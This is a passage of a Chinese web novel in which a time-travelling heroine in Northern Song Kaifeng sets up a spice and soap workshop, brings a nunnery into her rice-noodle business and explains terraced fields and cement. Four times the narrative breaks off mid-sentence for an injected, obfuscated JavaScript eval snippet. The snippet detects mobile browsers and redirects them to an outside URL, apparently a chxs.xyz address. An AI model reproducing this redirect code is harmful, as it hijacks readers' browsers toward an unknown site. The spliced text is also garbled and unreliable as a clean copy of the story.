王文茵摇头：“不，我很满意，只是……” 赵四郎见她反应，猜测道：“小娘子是担心把香料铺开在我家药铺隔壁，会对药铺有影响？” 王文茵默认了。 “这个问题我已征求过父兄的意见，他们都认为香料铺相当于药铺的延伸，是更为专业精细的一类药铺，且与我家的主业并不冲突，相反还能起到相辅相成的作用，是以并不反对。”赵四郎兴致勃勃道。 既然赵家人都没意见，王文茵还有什么理由反对，便也同意了。 “小娘子对店铺装修可有什么想法？” 王文茵在店铺里转了转，脑中已有了规划，“我有一些设想，待我回去画几张设计图稿出来再与你商讨。” “好。”赵四郎欣然答应：“小娘子有想过为这间铺子命什么名吗？” 王文茵想了想，道：“便叫兴隆堂如何？”【注1】 “兴隆堂？”赵四郎低头沉吟片刻，忽地抬起头来击掌：“兴隆堂好！取义生意兴隆，咱们这间铺子必定生意兴隆，哈哈。” 王文茵哑然失笑，她没解释，就当这是一个巧合吧。 “既然开香料铺子，那便不能仅仅只卖十三香之类的调制香辛料。”王文茵提议道。 赵四郎脑子转得快，试探道：“小娘子是否还有别的好主意？” 王文茵点头称是，“我想再加入一些香料的周边产品一起售卖，例如香膏、香饼、香油、香皂之类的洗漱美容生活用品。” 赵四郎连连点头表示赞同，听到香皂二字不由好奇问道：“何为香皂？” “郎君可曾用过‘肥皂团’？” 赵四郎摇头：“‘肥皂团’又是何物？” 王文茵奇道：“你平日里洗脸洗手用什么？澡豆吗？” 赵四郎嘿嘿一笑，“我洗脸就用清水，洗手倒是会用澡豆，家父说我们行医之人必须注重个人卫生，是以每日必须用澡豆净手，不管是进食前还是如厕后。” 澡豆是一种以豆面为原材料的洗涤清洁用品，由于豆类植物中多含有皂角苷，水溶液能产生泡沫，是很强的表面活性剂，洗涤污垢油腻的功力比传统天然清洁用品——皂荚更胜一筹。从两晋南北朝到隋唐，澡豆属于奢侈的日化用品，只有贵族阶级才有资格使用，到了两宋时期澡豆正式成为普通老百姓日常使用的清洁洗涤用品。【注2】 澡豆流行起来后，随着消费市场的日趋精细化，又出现了它的细分产品——洗面药。洗面药同澡豆的配方和制作方法大同小异，区别在于功效和主打的方向略有不同。洗面药以美容美白、滋润保养、去瘢痕、治面疮癣等功效为卖点，有点类似现代的药妆。【注2】 王文茵想起在太虚幻境中看到过宋末元初时期，有个叫周密的南宋人写过一本名为《武林旧事》的书，此书跟孟元老所著的《东京梦华录》并列为南北宋两大帝都吃喝玩乐游娱购穿越必备手册。 虽然《武林旧事》卷六《小经纪》中有记载南宋都城临安府内有专门经营“肥皂团”的生意人，但在北宋都城汴梁却只有专门出售各种澡豆、洗面药等美容清洁用品的药妆店，其中最出名的便是“张戴花洗面药”店铺。【注2】 如果连业内人士赵太医丞家的四郎都没听说过“肥皂团”，那就足以说明“肥皂团”在北宋还未普及，这叫什么？这叫商机。 王文茵解释道：“肥皂团便是将皂荚捣碎，再加上精细研磨过的香料，制成橘子大小的球状，作为洗面浴身之用。”【注2】 “可这肥皂团听起来跟澡豆功效也差不离，关键是皂角荚采集起来可比豆面儿要麻烦多了。”赵四郎一针见血道。 王文茵给赵四郎竖了个大拇哥，夸道：“果然是专业人士，所以咱们要做的不是‘肥皂团’，而是‘香皂’。” “那这‘香皂’又是用什么原料做的？”赵四郎兴致勃勃问道。 “‘香皂’就是升级版的澡豆，也叫‘香胰子’。澡豆的主要成分除了豆面儿还有猪胰子你可知道？” 赵四郎点头。 “因为动物的胰腺中含有多种消化酶,可以分解脂肪、蛋白质以及淀粉,因而有去垢作用。”王文茵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906821|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释道。【注2】 “消化酶、脂肪、蛋白质、淀粉……”赵四郎低头喃喃，搜肠刮肚也想不起自己看过的医学、药物学典籍中有类似的名词，果然还是自己读书太少啊。 “若是将研磨过的猪胰加入糖，并以草木灰代替豆粉，再加入熔融的猪脂，混和均匀后压制成球状或块状，便是“胰子”了。”王文茵道：“胰子中加入各种香料那便是‘香胰子’，譬如桂花胰子、玫瑰胰子、艾草胰子等等。”【注2】 赵四郎边点头边道：“听上去这‘香胰子’可是一门很有‘钱途’的生意啊。” “‘香胰子’虽好，却要获取大量猪胰子，委实有点麻烦呢。”王文茵摊手道。 赵四郎观察王文茵的表情，笑道：“听你这么说必然是还有别的原料可以取代猪胰子咯？” 王文茵默认：“的确还有一种方法可以制作‘香胰子’，原料相较猪胰子获取更为简单一些。” “什么方法？” “可以用‘皂化反应’来制作有清洁效果的肥皂。”【注3】 “这又是什么原理？” “将碱水和油脂混合搅拌后会产生‘皂化反应’，碱水可以通过烧制草木灰水和贝壳粉获得，油脂的话用动物脂肪和植物油都可以，这两种材料混合后油脂水解产生的高级脂肪酸盐便是肥皂的主要原料。”王文茵详解给赵四郎听。【注3】 虽然一头雾水，但赵四郎却听得津津有味，心中暗暗佩服王文茵博学，不免有些自惭形秽：“小娘子这都是从哪儿学来的？为何这些东西我连听都没听过。” 王文茵一本正经道：“我做梦的时候在太虚幻境里跟后世的人学的。” 赵四郎眨眨眼，王小娘子是在同他开玩笑吗？不过，他是个实诚人，既然王文茵都这么说了，那他就当她说的是真的，不由羡慕道：“小娘子你说的这个太虚幻境是什么样的？” 王文茵侧头认真回想，“那是一千年以后的世界，生活在那个时代的女子可以同男子一样考科举，男子可以做的事女子也一样能做，女子不必被婚姻束缚，可以做任何自己想做的事。生活在那儿的人既能上天揽月，又能下海探险……总之，那是一个跟咱们所处的时代全然不同的世界，有很多新奇好玩的物什。” 赵四郎信了，向往道：“若是我也能去太虚幻境里见识一下就好了。” 王文茵很是意外，“你真的相信我说的话？” 赵四郎讶异，“为何不信？这世间本就有很多说不清道不明，凡人无法探究的异象。既然是你亲身经历过的，我当然相信是真的。” 王文茵心里一暖，有些感动地看着赵四郎。 赵四郎被她看得不好意思起来，王顾左右而言他：“制香皂需要什么工具材料，我去采买便可，需要什么人手我给你安排，后院还有几间空屋，你若是不嫌弃不妨搬过来住下。” 王文茵摇头，“制香皂不费力，静缘庵里收留的大都是年老体弱之人，你若是不介意，我想让他们来做这活计，可好？” 赵四郎拱手笑道：“如此，甚好！” 29. 第二十九章 山下的米线作坊正式投入运营，眼下是冬闲，流民没别的事干，都想在作坊里打工挣点钱挨过这个寒冬，是以一大早就堵在作坊门口争着要上工，谁也不肯相让，还差点打起来。 气得张二嫂板起脸好一顿训斥，警告众人若是不遵守作坊的规矩就不给上工，大家这才安静下来，乖乖听从安排。张二嫂给流民们排班分工，保证每户都能轮流上岗挣工时。 张二嫂越来越有企业高管范儿了，王文茵很是欣慰，她把管理米线作坊的重任全权交给张二嫂负责，自己则投入到香料和洗护用品的生产研发上。 王文茵打算将静缘庵改造成香料工坊，不再生产干米线，只是这样的变动势必要征得住持妙善师太同意，她想到了一个两全其美的办法。 这阵子山下风风火火修建米线作坊，妙善心里挺不是滋味的，还不到一个月，王小娘子的米线买卖居然蒸蒸日上，已经发展到要扩建作坊的地步，早知道……唉…… 妙善正在兀自捶胸顿足，悔不当初呢，王文茵突然登门求见，还真是说曹操曹操到，赶紧让静尘把人请进来。 王文茵上前给妙善行了一个礼，妙善笑呵呵地让座，还亲自给王文茵倒了一杯茶水：“王小娘子，近来可好？” 王文茵盈盈一笑，回道：“甚好，就是有点忙不过来。” “忙点好，小娘子生意红火，我们也跟着沾光呢。”妙善笑得谄媚：“不晓得有什么我们能帮得上的？” 王文茵也不拐弯抹角，直言：“正有一事想同师太商议。” “何事？但说无妨。”妙善心里一喜。 王文茵拿出先前同妙善签订的契约，“师太想必已经知晓我在山下新建了一家米线作坊。” 妙善点头，两只眼睛盯着桌面上那份契约，心里七上八下的，不知道王文茵这葫芦里卖的什么药。 “我想问师太是否愿意入股米线作坊？”王文茵诚恳道。 “入……入股？”妙善脑子短路了：“何谓入股？” 王文茵笑了笑，“便是问师太是否有兴趣同我一起合作开米线作坊的意思。” 妙善眨眨眼，有点不敢相信自己耳朵听到的：“小娘子这话可当真？” 王文茵郑重点头：“当真。” 妙善喜上眉梢，情不自禁握住王文茵的手，激动道：“愿意！当然愿意！” 一旁的静尘抬头看屋顶，重重叹了口气，师父平时可不是这么教导我们的呀，不是说出家人须得喜怒不形于色吗？怎地自个还打了自个的脸呢，真是！ “若是师太愿意入股米线作坊，那我们便来谈一下合作条件。”王文茵拿出一份新的契约书来给妙善：“这是我拟定的契约，请师太过目。” 妙善飞速浏览完后抬起头来看向王文茵，支吾道：“要……要出二十两银子入股啊？” 她把契约转手交给静尘，静尘仔细阅读后也有些为难：“小娘子有所不知，我们庵里素来香火不旺，一时半会儿怕是拿不出这么多银子来。” 王文茵倒是也不惊讶，点头道：“师太若是拿得出二十两银子便能占米线作坊百分之十的股份，若是没这么许多银子，也可以少占一些股份，能出多少便得多少，无须勉强。” 妙善有些不甘心，百分之十的股份诶，米线作坊生意那么好，用脚指头算算每个月也能有不小一笔钱入账，可去哪儿凑这二十两银子呢？她求救似的看向静尘，期望徒儿能替她想法子解决无米下炊的大难题。 果然，静尘不负所望，同王文茵谈判道：“小娘子既然愿意让我们静缘庵占米线作坊这百分之十的股份，我们岂有不要的理儿？只是师父也说了，我们手头拮据，一时半会儿拿不出二十两银子来。能不能这样，我们先出一部分银子，剩余的待分红之时再从我们应得的利润里扣除？” 妙善暗暗掐自己的大腿，差点没喊出来，静尘果然是她最得意的门生，这么刁钻的法子也就她能想得出来。 见王文茵迟疑，妙善便提醒她：“小娘子当初没钱买米创业，我可是赊过一石籼米给你的哟。” 王文茵爽快笑道：“成！师太手头有几两银子？” 妙善大喜过望，脱口而出：“十两！” 静尘又在心里叹了一大口气，师父可真实诚，王小娘子都说了可以先欠着，待分红的时候再从利润里扣除，这十两银子可是咱们手头全部的积蓄啊，都给出去了回头要是有事儿，该拿什么应急呢？ “那便先出十两银子，剩余的十两从利润里扣除。”王文茵提笔重新修订契约书。 待妙善同静尘确认无误后双方签字画押，王文茵伸出手跟妙善握手：“师太，合作愉快！” “合作愉快，王小娘子！”妙善虽不懂这是什么礼仪，但，管他呢，反正立了契，躺着就能赚钱。 “我还有一事想同师太商议。” “小娘子有事尽管提。”妙善心里喜滋滋，不会又是想拉我合伙吧？ 王文茵这才把真正的目的讲出来：“我想将静缘庵里的米线作坊改为香料工坊，可否？” “可以，可以。”妙善条件反射般点头答应，答应完才回过神来问：“啥子香料工坊？” “便是用来制作香膏、香饼、香油、香皂之类的生活用品的工坊。”王文茵解释道。 妙善急了，“那米线作坊呢？咱们不是刚签下合作契约吗？怎么能出尔反尔呢？” 王文茵淡笑，“师太莫急，米线作坊搬去山下正常运营，不耽误咱们的合作。” “咱们庵里原先的作坊为何不能继续做米线？”静尘替妙善问出了想问的话。 “庵里收留的都是鳏寡孤独、老弱病残之人，他们的身体大都羸弱，做米线是体力活，山下的流民更适合。”王文茵婉言道：“是以，我考虑将庵里的米线作坊改为香料工坊，让大家做一些相对轻松的活计，以贴补他们的生活。” 静尘有些动容， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913592|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说什么却又不知该如何开口。 妙善找不到反对的理由，这分明又是一门好生意，这次她不想错过机会，便笑着道：“小娘子有心了，我们庵里除了那些个鳏寡孤独、老弱病残，其实还有一些身体健全之人，比如我那几个徒儿。若是小娘子愿意，可将她们也纳入香料工坊，赚些银钱贴补庵里的支出。” 王文茵点头：“自然没问题。” 妙善心花怒放，今日真是双喜临门，不但参股了米线作坊，还让自己的徒儿成功打入香料工坊内部，假以时日这两门生意必将纳入自己囊中，到时候可以直接躺平了。 静尘却不这么想，送王文茵出门的时候她忽然朝王文茵行了一个大礼，唬得王文茵上前托住她的胳膊阻挡：“师太这是做什么？” “小娘子且受我一拜。”静尘愧疚道：“先前是我太无礼，轻慢了小娘子，还望小娘子海涵。” 王文茵淡笑道：“师太无须过虑，一点小误会而已，我没放心上。” “不。”静尘摇头：“小娘子其实早就知道我们生活拮据，名义上是将米线作坊的股份卖予我们，实际却是想帮我们纾困，可惜师父没明白小娘子的良苦用心。” 自己没看走眼，静尘果然比她师父通透，王文茵会心一笑，朝静尘施礼致意：“师太有心了。” **** 从京城回到丰收村时，文安世发现山下的米线作坊里热火朝天，流民们在王小娘子的带动下，一个个干劲十足，呈现出一股子勃勃生机，与先时简直判若两人。 文安世深受震撼，内心更是五味杂陈，王小娘子同他以往认识的名门仕女是多么不同。同样是名门之后，她却不受礼教束缚，她是那么鲜活生动，哪怕身处谷底也绝不低头认命，若是用世俗的标准去衡量她，那便是亵渎了她。不愧是王介甫大人的亲孙女，就连性格脾气都如出一辙。 文安世有些自惭形秽，不仅为自己先前对她的失言，也为自己多年来两耳不闻窗外事，对底层百姓的生存状况视而不见听而不闻。 他从小便跟在祖父身边耳濡目染，清楚知道混迹官场的大都是庸碌之辈，这些人眼里只有功名利禄，加官进爵，封妻荫子。但总有那么几个不容于世、特立独行的人怀揣为国为民之心，以一己之力与整个既得利益阶层抗衡，誓要为天下黎明百姓谋福利，直至头破血流，郁愤而终。 文安世知道自己其实是没有资格更不应该去同情那位拗相公的，因为他自己就出身自与之对立的既得利益阶层，如若不是王小娘子，他怕是一辈子都不会对底层的人感同身受，更无法了解他们的卑微与困苦。 好在，他醒悟得不晚，他也想成为一个有理想、有抱负的人，像王大人一样，先天下之忧而忧，后天下之乐而乐【注1】，为国为民，鞠躬尽瘁，死而后已【注2】。 “阿嚏——”沉浸在致富梦想中的王文茵冷不丁打了个喷嚏，揉揉鼻子咕哝：“到底是谁又在背后惦记我？” 30. 第三十章 赵四郎遣人将香料工坊需要的原材料和工具器皿都一并送了过来，摆了满满一案几，阿萍和周婆子都凑过来好奇地问：“小娘子，咱们今后是不卖米线了吗？” “卖！怎么不卖？”王文茵指着门口那辆全新的餐车道：“知道那是干么用的吗？” 阿萍摇头。 周婆子倒是见过类似的工具车，问道：“莫非是摆摊卖吃食用的？” “正是。”王文茵点头。 “小娘子打算去哪儿出摊？”周婆子弱弱地问。 自打米线作坊搬到山下后，周婆子他们几个便空闲下来。山下的流民不论男女，个顶个都比山上这些老弱病残效率高、干劲足，王小娘子也就不再让他们去米线作坊上工了。于是，周婆子他们几个便开始有危机意识了，担心自己的养老保险和免费医疗要泡汤。 王文茵又怎会不懂他们几个的心情，索性把老员工们都召集起来开了个会。 “今儿把大伙儿召集起来是想给大家说一下咱们接下来的发展计划。” 伙计们都不由自主竖起耳朵来，脸上带着一丝紧张和期盼。 “大家一定想问我，为何将米线作坊搬到山下去了？” 众人不约而同点了点头。 “大家也看到了，咱们山上的场地比较小，人力又有限，每日的米线产量上不去。眼下尚且只有一家商户的订单，日后若是再增加订单数，别说产量跟不上销量，便是咱们的身体也吃不消是不是？” 王文茵道出了小作坊的局限性，其实就算她不说大伙儿也早就意识到这个问题了，他们这些老弱病残幼拿什么跟山下那些四肢健全、身体康健的流民拼体力？ 众人不免有些沮丧，看来这养老保险要保不住了。 王文茵笑笑道：“大家别紧张，我先前答应过大家的养老保险和免费医疗都不会变。” 有了这句承诺，大伙儿便松了口气，紧绷的脸色稍霁，气氛也轻松起来，待回过味儿来，又有了新的疑惑。 “可咱们若是不干活，又怎能占小娘子的便宜？”周婆子心说，我虽穷，但却是个体面人，吃白食绝非我所愿。 周婆子的表态立刻引起了众人的反响，大伙儿纷纷表示不能等着吃白食，要靠自己努力发光发热，为王小娘子的事业尽绵薄之力。 王文茵很欣慰，“大家放心，我已经给大家安排了新的工作岗位。” 众人闻言立马安静下来，听候指令。 “我打算安排阿萍和李三叔一家去朱仙镇上摆摊卖原汤米线和五香花卷。”王文茵指着穆叔打造的那辆餐车道：“卖米线虽是小本经营，但做得好也能让你们一家人过上富足的生活，另外还可以顺便推销咱们作坊生产的干米线和各种香料。” 阿萍和李三毛喜不自禁，原来阿萍她娘身体好转以后，妙善已经叫人来知会过他们一家，表示他们如今已不属于福田院该收留的那一类人，应该主动把床位让出来给更有需要的人住。他们一家正愁没处可去，想不到王文茵已经帮他们安排好了。 “我将在朱仙镇上开一间香料铺子，铺子后头有几间屋舍，你们一家可以先搬过去住。”王文茵对阿萍道：“你跟你爹的工钱都是每日一百文，可好？” “好，好，好。”李三毛父女简直不知该如何感激王文茵。 王文茵又对张二嫂道：“婶子，香料铺子的掌柜便由你来担当，你带着孩子们也一块儿搬去镇上住吧。” 张二嫂当然乐意，她跟着王文茵去朱仙镇看过那间铺子，条件环境比静缘庵好了不知多少倍，可她又放心不下米线作坊，便道：“我若是走了，那米线作坊该由谁来管理？” 王文茵点头，看向王大崔：“便由王叔来管理如何？” 王大崔以为自己听岔了，指着自个的鼻子问：“小娘子是让我来管理米线作坊吗？” “正是。”王文茵含笑点头。 王大崔激动起来，声音微微发颤：“小娘子真觉得我能胜任？” 王大崔不知道的是，这段时日王文茵其实一直有在暗中偷偷考察他。王大崔这人虽然嘴碎，爱占小便宜，但总的来说还算靠谱，安排给他的工作也都能全须全尾完成。而且，他这人还有个优点，就是在得到领导的信任和肯定后他会要求自己表现得更好。人嘛，总有优点和缺点，关键是看你能不能扬长避短，发挥出他的优势来。 “我相信王叔你一定不负所托。”王文茵眯眼笑着给予肯定。 王大崔感动得眼泪都快掉下来了，他这辈子总是被人瞧不起，老有人揪着他那点小毛病打击攻讦他，让他以为自己就是一个废物。如今得到王小娘子的肯定，他内心的自卑和委屈一扫而空，从今往后他便是一个堂堂正正有头有脸的大男人，再也不是被人踩在脚底的烂泥了。 “小娘子，我保证一定不负你所托。”王大崔郑重其事给王文茵行了一个礼。 王文茵颔首：“回头多跟二婶子取取经，有什么不明白的就问二婶子，咱们现在已不是原先的小作坊了，做掌柜的待人接物有理有据、公平合理才能赢得员工的尊重。” “小娘子的话我谨记在心。”王大崔一改往日嬉皮笑脸不着调的样，正经八百躬身应是。 张二嫂在心里偷笑，小样儿~ 其他人都有了新的去处，周婆子心里七上八下打起鼓来。自己一个手脚不灵便的老太婆，既不能像张二嫂、王大崔那样做掌柜，又不能同李阿萍父女那般走街串巷摆摊卖吃食，不知王小娘子打算给自己安排什么活计？ 王文茵转向周婆子，“我打算将静缘庵这里原先的米线作坊改为香料工坊，除了调制香辛料，还会制作香膏、香饼、香油、香皂之类的生活用品。这些活计虽不费力，但须得做事细心且有耐心之人方可胜任，是以我想让周阿婆同我一起来管理这香料工坊。周阿婆，你可愿意？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918996|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周婆子没想到王小娘子居然把这么重要的工作交给她，哪有不乐意的理儿，当即允诺下来。 眼见大家都有了新工作，王小郎君生怕王文茵把自己给忘了，提醒道：“阿姊，你还没说让我做啥呢。” “你呀，”王文茵笑道：“你就继续跟着穆叔学木工，回头咱们的香料铺子装修需要做一些柜子，待我画好设计图便交由你跟穆叔来做，可好？” 好，当然好！每个人都被安排得明明白白的，有活干就有饭吃，有钱赚就能改善生活，有积蓄就可以对抗未知的风险，所有人都很欢喜，只有经历过一无所有的人才会懂得珍惜来自不易的温饱和安宁。 “此外，身为创始团队的成员来年大家还将获得一定比例的股份作为分红。”王文茵熟练地画饼。 “股份？啥是股份？”大伙儿面面相觑。 张二嫂跳出来解释：“这股份啊就相当于咱们对米线作坊的投资，但凡作坊挣到的钱咱们都能分红的意思。” 居然有这种好事！ 众人都不敢相信：“二婶子，你这话可当真？” “当真！”王文茵向众人承诺：“大家陪着我一起创业，给大家分红一则是为了感谢大家的付出，二则是给大家提供保障，确保大家即便失去工作也能有收入维持生计。” “我就说跟着小娘子能吃饱饭。”王大崔第一个站出来表忠心。 “跟着小娘子何止能吃饱饭。”阿萍不服：“咱们现在哪个日子过得不比先头好十倍！百倍！就连我娘的病都快好了……呜呜……” 阿萍突然哭起来。 “哎呀，你哭啥呀？多高兴的事儿。”张二嫂被她气笑了。 “我高兴呢。”阿萍抹了抹脸，忍不住笑起来：“小娘子教过的，这叫喜极而泣。” 其实周婆子也想哭，只是她一把年纪的人了，不好意思当着大伙儿的面掉金豆子，怕丢了老脸，眼湿湿起身给王文茵行礼：“小娘子，请受老婆子我一拜。” 王文茵赶紧托住周婆子：“阿婆，使不得。” “小娘子，我这把年纪也活不了几天了，我孤身一人，无儿无女，这股份不要也罢。”周婆子哽咽道：“只要能跟着你做事我就满足了。” “对，小娘子，我也不要股份，你给我的工钱已经足够让我把两个孩子好好养活了。”张二嫂表示认同。 王大崔虽然有些不舍得，但也忍痛表示：“我也不要股份，只要跟着小娘子就好。” 其他人也纷纷表示愿意放弃股份。 王文茵却道：“大家听我说，咱们努力工作是为了啥？难道不是为了过上更好的日子？咱们不止要吃饱，还要吃好！不止要住得暖，还要住的好！改善生活需要银子，有了银子就能有更好的生活不是？我给大家分股权目的就是为了给大家多留一条退路，手头宽裕了便可以做更多以前想做却不能做的事，这便是咱们努力奋斗的意义！” 31. 第三十一章 一口气说了一大段激情澎湃的话，王文茵把自己都给说激动了，两颊带着亢奋的红晕，神采飞扬。 大家你看看我，我看看你，随后异口同声道：“小娘子说得对，我们要过更好的日子！” 门外的文安世嘴角抿出一丝戏谑的笑来，他不是有意偷听，只是刚巧在门口听到王文茵那段慷慨激昂的陈词，不自觉地停下了脚步，心说，这女子真真七窍玲珑心，既仁厚，又不缺手腕，这样的人才若是男儿身，怕是同她祖父一样要登科当宰执的。 散会后，王文茵见陈武立在门口，似乎在等她，便上前询问：“小武哥，可是寻我有事？” “正是。”陈武从怀里取出一封信来交给王文茵：“这是我家七郎托我转交给小娘子的。” 王文茵展信阅读完后问道：“你家七郎人在何处？” “小娘子请随我来。”陈武做了一个请的手势。 王文茵跟随陈武上山，沿着蜿蜒的坡道曲折向上，一刻钟后终于到达半山顶，文安世正背对着他们伫足在崖边向下眺望。 王文茵走上前，听见声响的文安世转过身来，微微颔首：“你来了。” 王文茵扬起手里的信，道：“衙内邀我前来所谓何事？” 文安世指着山下大片坡地道：“先前小娘子让我去查阅闽南地区开垦梯田一事，我已调查清楚。” 王文茵暗赞，哇，文七郎这行动力！ “愿闻其详。”王文茵谦逊一礼。 文安世缓缓道来：“据悉当年从占城国（今越南）引入耐旱的占城稻后率先于八闽（今福建）地区培育种植。因八闽多山地丘陵，于是便开垦出了梯田。【注1】 我查阅了典籍，梯田大致可分为四种类型。其一是‘水平梯田’，此类梯田优点是田面平整，多采用半挖半填的方式修建，蓄水保土能力较强，便于灌溉和精耕细作，适合种植水稻、小麦等大田作物。缺点是填挖工程量大，适合土层深厚、经济条件好的地区修建。【注2】 其二是‘反坡梯田’，反坡指田面的倾斜方向与山坡方向相反，一般外高内低，向内侧微微倾斜，不过倾斜的坡度很小，适合较干旱地区，或是水土冲刷较重的山坡上开垦。因田面倾斜的缘故很好的保留了珍贵的水土资源，是以提升了梯田的蓄水保肥能力。【注2】 其三是‘坡式梯田’，与‘反坡梯田’的倾斜方向刚好相反，属于向外倾的梯田。此类梯田田面不完全水平，会留有一定坡度，因此开垦时台面不必推平，是以工程量较小，但蓄水保土能力较差，只适合种植旱作作物或果树。【注2】 最后是‘隔坡梯田’，隔坡是指上、下相邻的两个水平梯田之间，保留一定宽度的原坡地。这样一来降水可顺着这段坡面流到下一级台面上，这段坡面便可成为田面的集水区。通常会在水平台面上种农作物，在山坡上种草，草割下后可用于制作肥料，还能供养牲畜。”【注2】 “如此看来除了‘水平梯田’其余三种梯田都可在此地的山坡上开垦。”王文茵喜道：“本地雨水较少，‘反坡梯田’可蓄水保肥；‘坡式梯田’虽蓄水保土能力差，但工程量小，且适合种植像占城稻之类耐旱的农作物；而‘隔坡梯田’可同时种草和农作物，相辅相成、兼容并蓄。”【注2】 文安世点头，指着山坡道：“适合开垦梯田的山坡坡度不能太陡，你看这边几座山坡坡度都不大，非常适合用来开垦梯田。” “在缓坡修建梯田可以减少水土流失，有利于泥沙就地沉积，还能获得面积较大的水平台地。”王文茵认同道。【注2】 文安世似笑非笑看着她：“你其实早就知道该如何修建梯田是不是？” 王文茵却摇头：“略知皮毛而已，谈不上了解，还请衙内详解。” “你没说错，陡坡若是用来开垦梯田非但水平台地面积小，遇上强降水，地表水流流速过快，容易把坡上的泥土冲走，加剧水土流失。”文安世道：“不过本地年降水量少，只是春夏偶有强降水，是以问题不大，倒是如何给梯田蓄水是一大问题。”【注2】 王文茵点头：“据我所知，人工水车最多能将低处的水引到三五米高处，这对梯田来说只是杯水车薪。” “是以，要么在山坡上修建水池蓄水，要么通过沟渠将山泉水引到梯田里去。” 王文茵四下观察，“在山坡上修建蓄水池是个好办法，雨涝期将水蓄起来，到了干旱期再用沟渠将水引到梯田里去灌溉。” “好是好，只是修建蓄水渠却是个大工程，若是没有官府支持，怕是很难实现。”文安世深感愧疚，自己虽是当朝宰执的亲孙，却还是弱冠，尚未考进士，没有实权什么也做不了。 王文茵笑道：“这有何难？蓄水池我们自己便能修建，无须劳烦官府出面。” 文安世十分惊讶，“小娘子知道该如何修建水渠？” 王文茵摇头，“若是修建用来造福千秋万代的大型水利工程，那我自是不懂，但若只是修一个用来灌溉梯田的蓄水池，那便简单多了。”她将手指向山下的米线作坊，问道：“衙内可知这房子是用什么材料修建的？” 文安世先前路过工地时看到流民用夯土砖在砌墙，便道：“似乎是砖石？” “是用稻草和黄泥勾缝的土砖砌成的。”王文茵直言：“这么做的主要目的是为了省钱，缺点是不够坚固，只能用于民居建筑。若是修筑像宫殿、陵寝、城墙、桥梁、佛塔之类的传承百年的大型官方建筑便需用最坚硬的石材和糯米石灰砂浆来勾缝。”【注3】 文安世揣度：“小娘子的意思是要用石块和糯米石灰砂浆来修筑蓄水池？” “那样造价就太高了，不值当。”王文茵道：“我们可以折中一下，用简易的水泥修筑一个混凝土蓄水池。” “水泥？混凝土？这又是何物？”文安世的好奇心被勾起来了。 “便是盖房子用的建筑材料。”王文茵信口胡诌：“我曾见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922927|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位乡野匠人将砂子、石头和水泥混合在一起修建出十分坚固耐用的混凝土墙体。” 文安世虚心请教：“愿闻其详。” 王文茵心说，虽然水泥和混凝土是一门大生意，但我一个无权无势的女子靠自己是肯定搞不起来的，不如就让背靠大树更有实力的人去为百姓谋福利吧。 “我可以将制作水泥和混凝土的秘方告诉衙内，但衙内也要答应我只能用来造福于民，不能将其用于牟取暴利。” 文安世深深看着王文茵，内心莫名感动，这个王小娘子虽然张口闭口总提钱，其实不过是虚张声势，她若是真的爱钱就应该把这些秘方藏起来，偷偷发财不好吗，何必拿出来造福百姓呢？ “我答应你。”文安世道：“我会尽我所能将这些秘方用来造福百姓和贫民。” 王文茵避开他毫不掩饰的眼神，和盘托出：“先头我已经说过，混凝土的主要成分为砂、石和水泥，混凝土之所以坚固便是因为其中含有水泥。是以，如何获取水泥至关重要。”【注3】 “水泥的主要原料为石灰石、粘土、水淬矿渣、炉渣灰、和熟石灰。这其中水淬矿渣便是将炼铁炉里的废渣直接放入冷水池淬火而成的，炉渣灰是烟煤燃烧后的残渣，而粘土可以用粘土砖、陶土器或陶瓷碎片来取代。以上这几种原材料比较常见，获取也相对容易，唯独熟石灰需要经过特殊的处理方法才能得到。”【注3】 “石灰石的主要成分是碳酸钙，用火煅烧后便成了生石灰，也就是氧化钙。生石灰吸水后生成粉末状的物质便是熟石灰，也叫氢氧化钙。将熟石灰混合进泥浆里就能提高灰缝的强度，这效果跟加入糯米汁差不多，但熟石灰来源更广，造价也更低，而且无须浪费粮食。”【注3】 